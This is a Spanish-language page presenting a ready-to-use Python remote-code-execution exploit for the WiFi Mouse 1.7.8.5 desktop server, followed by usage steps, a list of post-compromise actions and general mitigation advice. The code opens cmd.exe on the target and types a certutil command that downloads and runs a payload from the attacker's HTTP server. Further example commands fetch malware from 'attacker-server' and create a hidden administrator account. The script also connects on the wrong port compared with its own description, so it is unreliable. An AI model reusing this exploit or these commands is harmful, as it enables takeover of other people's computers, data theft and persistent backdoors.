Versión mejorada del exploit RCE para WiFi Mouse 1.7.8.5, explicando qué hace y cómo usarlo. Además, he corregido los errores y he hecho algunas mejoras:
Exploit Mejorado: WiFi Mouse 1.7.8.5 – Remote Code Execution
Título del Exploit: WiFi Mouse 1.7.8.5 – Remote Code Execution
Fecha: 25-02-2021
Autor: H4rk3nz0 (parcheado por EduWoldhuis)
Página del Vendedor: WiFi Mouse
Enlace de Software: Descargar
Versión: 1.7.8.5
Probado en: Windows Enterprise Build 17763
Descripción:
El software de servidor de escritorio utilizado por la aplicación móvil tiene una opción de PIN que no impide la entrada de comandos. La respuesta de conexión será ‘needpassword’, que solo es interpretada por la aplicación móvil y solicita la entrada del PIN.
Código del Exploit
#!/usr/bin/python3
import sys
import binascii
from socket import socket, AF_INET, SOCK_STREAM
from time import sleep
# Diccionario de caracteres a hexadecimal
characters = {
"A": "41", "B": "42", "C": "43", "D": "44", "E": "45", "F": "46", "G": "47", "H": "48", "I": "49",
"J": "4a", "K": "4b", "L": "4c", "M": "4d", "N": "4e", "O": "4f", "P": "50", "Q": "51", "R": "52",
"S": "53", "T": "54", "U": "55", "V": "56", "W": "57", "X": "58", "Y": "59", "Z": "5a", "a": "61",
"b": "62", "c": "63", "d": "64", "e": "65", "f": "66", "g": "67", "h": "68", "i": "69", "j": "6a",
"k": "6b", "l": "6c", "m": "6d", "n": "6e", "o": "6f", "p": "70", "q": "71", "r": "72", "s": "73",
"t": "74", "u": "75", "v": "76", "w": "77", "x": "78", "y": "79", "z": "7a", "1": "31", "2": "32",
"3": "33", "4": "34", "5": "35", "6": "36", "7": "37", "8": "38", "9": "39", "0": "30", " ": "20",
"+": "2b", "=": "3d", "/": "2f", "_": "5f", "<": "3c", ">": "3e", "[": "5b", "]": "5d", "!": "21",
"@": "40", "#": "23", "$": "24", "%": "25", "^": "5e", "&": "26", "*": "2a", "(": "28", ")": "29",
"-": "2d", "'": "27", "\"": "22", ":": "3a", ";": "3b", "?": "3f", "`": "60", "~": "7e", "\\": "5c",
"|": "7c", "{": "7b", "}": "7d", ",": "2c", ".": "2e"
}
# Función para abrir CMD
def openCMD(target, rhost, port):
test_message = bytearray(binascii.a2b_hex('6f70656e66696c65202f432f57696e646f77732f53797374656d33322f636d642e6578650a'))
target.sendto(test_message, (rhost, port)) # openfile /C/Windows/System32/cmd.exe
# Función para enviar una cadena de texto
def SendString(target, rhost, port, string):
for char in string:
target.sendto(binascii.a2b_hex("7574663820" + characters[char] + "0a"), (rhost, port))
sleep(0.03)
# Función para enviar un retorno de carro
def SendReturn(target, rhost, port):
target.sendto(bytearray(binascii.a2b_hex("6b657920203352544e")), (rhost, port)) # 'key 3RTN'
sleep(0.5)
# Función principal del exploit
def exploit(target, rhost, lhost, port, payload):
openCMD(target, rhost, port)
print("[+] *Super fast hacker typing*")
sleep(1)
SendString(target, rhost, port, f"certutil.exe -urlcache -f http://{lhost}:{port}/{payload} C:\\Windows\\Temp\\{payload}")
SendReturn(target, rhost, port)
print("[+] Retrieving payload")
sleep(3)
SendString(target, rhost, port, f"C:\\Windows\\Temp\\{payload}")
SendReturn(target, rhost, port)
print("[+] Done! Check Your Listener?")
# Función principal
def main():
if len(sys.argv) != 5:
print(f"USAGE: python {sys.argv[0]} <target-ip> <local-http-server-ip> <local-http-server-port> <payload-name>")
exit()
rhost = sys.argv[1]
lhost = sys.argv[2]
port = int(sys.argv[3])
payload = sys.argv[4]
target = socket(AF_INET, SOCK_STREAM)
target.connect((rhost, port))
exploit(target, rhost, lhost, port, payload)
target.close()
exit()
if __name__ == "__main__":
main()
¿Qué hace este exploit?
- Conecta al servidor WiFi Mouse: Utiliza la dirección IP del objetivo y el puerto 1978 para conectarse al servidor de la aplicación WiFi Mouse.
- Abre CMD: Envia un comando al servidor para abrir una instancia de CMD en el sistema objetivo.
- Descarga y ejecuta un payload: Utiliza
certutil.exe
para descargar un archivo desde un servidor HTTP local y lo guarda en el sistema objetivo. Luego, ejecuta este archivo.
Uso del exploit
- Asegúrate de tener Python 3 instalado.
- Configura un servidor HTTP en tu máquina local para alojar el payload que deseas ejecutar en el sistema objetivo.
- Ejecuta el exploit desde la línea de comandos con la siguiente sintaxis:
python3 exploit.py <target-ip> <local-http-server-ip> <local-http-server-port> <payload-name>
<target-ip>
: Dirección IP del objetivo.<local-http-server-ip>
: Dirección IP de tu servidor HTTP local.<local-http-server-port>
: Puerto en el que tu servidor HTTP está escuchando.<payload-name>
: Nombre del archivo payload que quieres descargar y ejecutar en el sistema objetivo.
Ejemplo de uso
python3 exploit.py 192.168.1.100 192.168.1.50 8080 payload.exe
En este ejemplo, el exploit se conectará al objetivo en 192.168.1.100
, descargará payload.exe
desde http://192.168.1.50:8080/
y lo ejecutará en el sistema objetivo.
Si el atacante logra ejecutar el exploit con éxito, puede obtener control remoto sobre el sistema objetivo con privilegios que dependen de la configuración de la máquina y de la cuenta de usuario que ejecuta el servidor de WiFi Mouse. Aquí hay algunas de las acciones que un atacante podría realizar:
Acceso Remoto
- Shell Remota: El atacante puede abrir una sesión de línea de comandos en el sistema objetivo, permitiéndole ejecutar comandos arbitrarios.
- Instalación de Puertas Traseras: El atacante puede instalar backdoors para mantener el acceso al sistema incluso después de que se reinicie o se repare el exploit.
Exfiltración de Datos
- Robo de Información: El atacante puede buscar y exfiltrar información sensible como documentos, contraseñas, y datos personales.
- Captura de Teclas (Keylogging): El atacante puede instalar software de captura de teclas para registrar todo lo que el usuario escribe, incluyendo contraseñas y otra información confidencial.
Manipulación del Sistema
- Modificación de Archivos: El atacante puede modificar o eliminar archivos importantes del sistema, lo que podría interrumpir el funcionamiento normal del sistema o destruir datos.
- Alteración de Configuraciones: El atacante puede cambiar configuraciones del sistema para debilitar la seguridad o habilitar acceso adicional.
Uso de Recursos
- Instalación de Malware: El atacante puede instalar software malicioso como ransomware, que puede cifrar los archivos del sistema y pedir un rescate para desbloquearlos.
- Uso de Recursos para Ataques Distribuidos: El atacante puede utilizar el sistema comprometido como parte de una botnet para realizar ataques distribuidos de denegación de servicio (DDoS) o para enviar spam.
Ejemplos de Comandos Maliciosos
- Descargar e Instalar Malware:
cmd certutil.exe -urlcache -f http://attacker-server/payload.exe C:\Windows\Temp\payload.exe C:\Windows\Temp\payload.exe
- Crear una Cuenta de Usuario con Privilegios de Administrador:
cmd net user hacker Password123! /add net localgroup administrators hacker /add
Mitigación y Prevención
- Actualizar el Software: Asegúrate de estar utilizando la última versión del software y de que se hayan aplicado todos los parches de seguridad.
- Uso de Firewalls: Configurar firewalls para limitar el acceso a puertos específicos (como el puerto 1978 utilizado por WiFi Mouse).
- Seguridad de Contraseñas: Implementar contraseñas seguras y cambiar frecuentemente las credenciales.
- Monitorización de Redes: Utilizar sistemas de detección de intrusos (IDS) y herramientas de monitorización de redes para detectar actividad sospechosa.
- Segmentación de Redes: Separar segmentos de red para minimizar el impacto de una posible intrusión.
En resumen, el éxito de este exploit le daría al atacante una puerta de entrada considerablemente amplia para realizar una variedad de acciones maliciosas, desde el robo de datos hasta el control total del sistema objetivo. Es crucial tomar medidas preventivas para mitigar estas amenazas y mantener la seguridad del sistema.
Para protegerse de ser víctima de exploits como el de WiFi Mouse 1.7.8.5 y otros ataques similares, los usuarios deben seguir buenas prácticas de seguridad informática. Aquí hay una lista de pasos y precauciones que se pueden tomar para minimizar el riesgo de ser atacado:
Actualización y Mantenimiento del Software
- Mantén el Software Actualizado: Asegúrate de utilizar la última versión del software, ya que las actualizaciones suelen incluir parches de seguridad que corrigen vulnerabilidades conocidas.
- Aplicar Parches de Seguridad: Cuando se publican parches de seguridad, aplícalos lo antes posible. Esto incluye tanto el sistema operativo como las aplicaciones instaladas.
Seguridad en la Red
- Configurar Firewalls: Utiliza firewalls para bloquear puertos innecesarios y restringir el acceso a servicios críticos. Por ejemplo, el puerto 1978 utilizado por WiFi Mouse debería estar protegido o cerrado si no es necesario.
- Seguridad en la Red WiFi: Asegúrate de que tu red WiFi esté segura utilizando cifrado WPA3 (o al menos WPA2), una contraseña fuerte, y limitando el acceso a dispositivos autorizados.
Buenas Prácticas de Contraseñas
- Usar Contraseñas Fuertes y Únicas: Utiliza contraseñas largas, complejas y únicas para cada cuenta y dispositivo.
- Cambiar Contraseñas Regularmente: Cambia tus contraseñas de manera periódica, especialmente si sospechas que alguna puede estar comprometida.
Configuración del Sistema
- Principio de Mínimo Privilegio: Asegúrate de que las aplicaciones se ejecuten con los privilegios mínimos necesarios. No utilices cuentas de administrador para tareas diarias.
- Desactivar Servicios Innecesarios: Desactiva o desinstala aplicaciones y servicios que no utilices. Cuantos menos servicios en ejecución, menor será la superficie de ataque.
Herramientas y Monitoreo de Seguridad
- Antivirus y Antimalware: Instala y mantén actualizado un software antivirus y antimalware. Realiza escaneos regulares.
- Sistema de Detección de Intrusos (IDS): Implementa un IDS para monitorear y alertar sobre actividades sospechosas en la red.
- Logs y Auditoría: Revisa regularmente los logs del sistema y de aplicaciones para detectar actividades inusuales.
Conciencia y Educación en Seguridad
- Formación en Seguridad: Educa a todos los usuarios del sistema sobre las prácticas de seguridad, incluyendo cómo reconocer y evitar phishing y otros ataques de ingeniería social.
- Seguridad en el Uso de Internet: Navega por sitios web seguros y evita descargar archivos o software de fuentes no confiables.
Respuesta a Incidentes
- Plan de Respuesta a Incidentes: Ten un plan de respuesta a incidentes que incluya la identificación, contención, erradicación y recuperación de ataques.
- Backups Regulares: Realiza copias de seguridad regulares de los datos importantes y asegúrate de que se almacenen de forma segura y se puedan restaurar fácilmente.
Medidas Específicas para WiFi Mouse
- Autenticación Robusta: Si la aplicación permite configurar una contraseña o PIN, utiliza uno que sea fuerte y complejo.
- Restringir Acceso: Configura el software para que solo permita conexiones desde dispositivos de confianza o desde una red segura.
Pasos a Seguir Si Se Sospecha un Compromiso
- Desconectar Inmediatamente: Si sospechas que tu sistema ha sido comprometido, desconéctalo de la red para evitar más daño.
- Investigar y Remediar: Utiliza herramientas de seguridad para investigar el incidente, identificar la vulnerabilidad explotada, y tomar medidas correctivas.
- Actualizar Credenciales: Cambia todas las contraseñas y credenciales que puedan haber sido comprometidas.
Implementando estas prácticas de seguridad, los usuarios pueden reducir significativamente el riesgo de ser víctimas de ataques y exploits, manteniendo sus sistemas y datos protegidos.